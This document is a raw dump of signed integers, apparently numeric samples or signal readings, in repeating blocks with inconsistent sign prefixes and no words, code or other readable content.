--114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -89 -84 -82 -79 -77 -74 -70 -67 -64 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -93 -89 -85 -82 -79 -77 -74 -72 -68 -65 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -100 -93 -89 -85 -82 -78 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --86 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -101 -93 -88 -85 -82 -79 -77 -74 -72 -68 -65 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -104 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -84 -82 -79 -77 -74 -71 -68 -64 -60 -56 -52 -48 -44 -40 -36 -33 -30 -27 -25 -22 -21 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -6 -4 -4 -3 -3 -2 -2 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --98 --91 --86 --64 --75 --55 --66 --62 --58 --54 --50 --47 --44 --41 --38 --36 --33 --31 --29 --27 --26 --24 --23 --21 --20 --19 --18 --17 --15 --15 --13 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -124 -114 -108 -104 -99 -95 -92 -88 -84 -80 -76 -71 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --95 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -83 -79 -77 -74 -71 -67 -63 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 127 -112 -102 -94 -89 -85 -82 -80 -78 -74 -72 -68 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -82 -79 -76 -73 -70 -67 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -88 -84 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -88 -84 -81 -78 -77 -74 -72 -68 -64 -60 -57 -52 -48 -44 -40 -36 -33 -30 -27 -25 -22 -21 -19 -17 -16 -15 -13 -13 -11 -10 -9 -8 -8 -7 -6 -5 -4 -4 -3 -2 -2 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 --97 --91 --85 --64 --75 --54 --66 --62 --58 --54 --51 --48 --45 --42 --39 --36 --35 --32 --30 --28 --26 --25 --24 --22 --21 --19 --18 --16 --15 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -123 -114 -109 -103 -99 -95 -92 -88 -85 -80 -75 -70 -66 --35 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --95 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -111 -102 -94 -88 -84 -82 -80 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -100 -93 -89 -84 -82 -78 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --98 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -88 -84 -81 -78 -77 -73 -71 -68 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -94 -90 -84 -82 -79 -77 -74 -71 -68 -65 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -100 -94 -89 -85 -83 -79 -77 -74 -71 -68 -64 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 127 -112 -102 -94 -89 -86 -82 -79 -77 -73 -71 -68 -64 -60 -56 -52 -48 -44 -40 -36 -33 -30 -28 -25 -23 -20 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -4 -4 -3 -2 -2 -1 -1 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 -99 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -123 -108 -98 -91 -87 -83 -80 -78 -76 -74 -70 -67 -63 -59 -55 --44 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 --90 --84 --80 --59 --70 --65 --62 --59 --54 --50 --48 --44 --41 --38 --36 --34 --31 --29 --28 --26 --24 --22 --21 --20 --18 --17 --16 --15 --14 --13 --12 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -124 -114 -109 -104 -100 -95 -92 -88 -84 -79 -76 -70 -66 --35 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --96 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -83 -80 -77 -74 -71 -67 -64 -59 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 -104 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -78 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --87 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -101 -93 -89 -85 -82 -79 -77 -74 -71 -67 -64 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -78 -74 -72 -68 -64 -60 -56 -51 -48 -43 -39 -36 -32 -29 -27 -24 -22 -20 -18 -17 -16 -14 -13 -12 -12 -10 -9 -8 -8 -7 -6 -5 -4 -4 -3 -2 -1 -1 -0 --90 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 --92 --85 --64 --75 --54 --65 --61 --57 --54 --50 --47 --45 --42 --39 --36 --34 --32 --30 --28 --26 --24 --23 --21 --20 --19 --18 --17 --16 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -123 -114 -108 -103 -100 -95 -92 -88 -84 -80 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --86 --96 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -102 -94 -89 -85 -82 -80 -78 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --87 --98 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -100 -92 -89 -85 -82 -79 -77 -74 -72 -68 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 127 111 -101 -94 -89 -84 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --98 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -72 -68 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -94 -89 -85 -82 -80 -78 -74 -72 -68 -64 -60 -56 -52 -48 -43 -40 -36 -32 -29 -27 -25 -23 -21 -19 -17 -16 -15 -13 -12 -11 -9 -8 -8 -8 -7 -6 -5 -4 -4 -4 -2 -2 -2 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --97 --91 --85 --64 --75 --54 --66 --62 --58 --54 --50 --47 --44 --42 --39 --36 --34 --32 --30 --28 --26 --25 --23 --22 --20 --19 --18 --17 --16 --15 --14 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -123 -114 -108 -103 -99 -94 -92 -88 -84 -80 -76 -71 -67 -62 -57 -52 -48 -43 -40 -36 -33 -30 -28 -25 -23 -21 -19 -17 -15 -13 -13 -13 -12 -10 -9 -8 -8 -7 -6 -5 -4 -4 -3 -2 -2 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --89 --98 --90 --85 --64 --75 --54 --65 --61 --57 --53 --50 --47 --44 --41 --38 --36 --34 --31 --30 --28 --27 --25 --23 --22 --20 --19 --18 --16 --16 --15 --14 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -124 -113 -108 -103 -99 -94 -92 -88 -84 -79 -76 -70 -66 --35 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -84 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -104 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -102 -94 -90 -85 -82 -79 -77 -74 -71 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -101 -94 -89 -84 -81 -78 -77 -74 -71 -68 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -94 -90 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 -52 -48 -44 -40 -37 -33 -30 -27 -25 -22 -20 -18 -17 -16 -15 -13 -12 -12 -10 -10 -8 -8 -7 -6 -5 -4 -3 -3 -2 -2 -1 -0 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 -98 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -124 -109 -99 -91 -87 -83 -80 -78 -76 -73 -70 -66 -64 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --87 --96 --91 --85 --79 --58 --70 --66 --62 --57 --54 --51 --48 --44 --41 --39 --37 --34 --32 --30 --28 --26 --24 --23 --22 --20 --19 --18 --17 --15 --14 --13 --12 --11 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -124 -114 -108 -104 -100 96 -92 -88 -85 -80 -76 -71 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --96 -109 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -80 -77 -75 -72 -68 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -100 -94 -89 -84 -82 -79 +86 78 -74 -72 +75 +71 68 65 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -94 -89 -85 -82 -80 -77 -74 -71 -67 63 60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -101 -94 -89 -85 -83 -80 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -112 -101 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 -52 -48 -44 -40 -36 -33 -30 -27 -24 -23 -20 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -4 -4 -3 -3 -2 -2 -2 -1 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --89 -101 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -124 -109 -99 -92 -88 -83 -81 -78 -76 -73 -70 -67 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -88 -84 -82 -80 -78 -75 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --96 --90 --84 --80 --58 --69 --65 --61 --57 --53 --50 --47 --44 --41 --38 --36 --33 --31 --29 --27 --26 --24 --23 --21 --20 --19 --18 --17 --16 --15 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -123 -114 -108 -104 -100 -95 -92 -88 -85 -80 -76 -70 -66 --35 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --96 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -101 -94 -89 -84 -82 -79 -77 -74 -71 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -88 -85 -82 -79 -77 -74 -72 -68 -65 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -94 -89 -84 -82 -79 -77 -74 -71 -68 -64 -60 -56 -51 -47 -44 -40 -36 -32 -29 -27 -25 -22 -20 -18 -17 -15 -14 -13 -12 -11 -11 -10 -9 -8 -7 -6 -5 -5 -3 -3 -2 -1 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 --91 --86 --64 --75 --54 --66 --62 --58 --54 --50 --47 --44 --41 --38 --36 --34 --31 --30 --27 --26 --24 --23 --21 --20 --19 --18 --17 --16 --15 --14 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -123 -114 -109 -103 -99 -95 -92 -88 -84 -79 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --86 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -86 -83 -80 -78 -75 -72 -68 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -94 -89 -85 -82 -78 -77 -74 -70 -67 -63 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -80 -78 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -111 -102 -94 -89 -85 -82 -79 -77 -74 -71 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --98 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -93 -89 -85 -82 -80 -78 -75 -72 -68 -65 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -100 -94 -89 -85 -82 -78 -77 -74 -70 -67 -64 -60 -56 -52 -48 -44 -41 -37 -34 -30 -28 -25 -23 -21 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -6 -5 -4 -3 -3 -3 -2 -2 -1 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 --91 --85 --63 --74 --54 --65 --61 --57 --54 --51 --47 --44 --42 --39 --36 --34 --32 --30 --28 --26 --24 --23 --22 --20 --19 --18 --17 --16 --14 --14 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -123 -114 -109 -104 -100 -95 -92 -88 -84 -79 -75 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --86 --96 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -112 -102 -94 -89 -85 -82 -79 -77 -74 -72 -68 -65 -60 -56 -52 -48 -44 -40 -37 -33 -30 -28 -24 -22 -20 -19 -17 -16 -15 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -5 -4 -3 -3 -2 -2 -1 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 --97 --91 --85 --64 --75 --54 --66 --62 --58 --54 --51 --48 --45 --42 --39 --36 --34 --32 --30 --28 --26 --24 --23 --21 --20 --19 --18 --16 --16 --16 --15 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -124 -114 -109 -103 -100 -95 -92 -88 -84 -80 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --86 --95 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --98 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -101 -93 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -82 -79 -78 -75 -72 -68 -64 -59 -56 -51 -47 -43 -40 -36 -33 -30 -28 -25 -23 -21 -19 -18 -16 -15 -14 -13 -12 -10 -10 -9 -7 -6 -6 -5 -5 -4 -4 -3 -2 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 --91 --85 --64 --75 --54 --66 --62 --58 --54 --50 --47 --44 --41 --38 --36 --34 --32 --30 --28 --27 --25 --23 --22 --20 --19 --18 --17 --16 --15 --14 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -125 -114 -108 -103 -100 -96 -92 -88 -84 -80 -76 -71 -66 -61 -56 -51 -47 -42 -39 -35 -32 -29 -27 -25 -23 -21 -19 -17 -16 -14 -13 -12 -10 -9 -9 -8 -8 -7 -6 -5 -4 -4 -3 -3 -2 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 --91 --85 --64 --76 --54 --66 --62 --58 --54 --50 --47 --44 --41 --38 --36 --34 --32 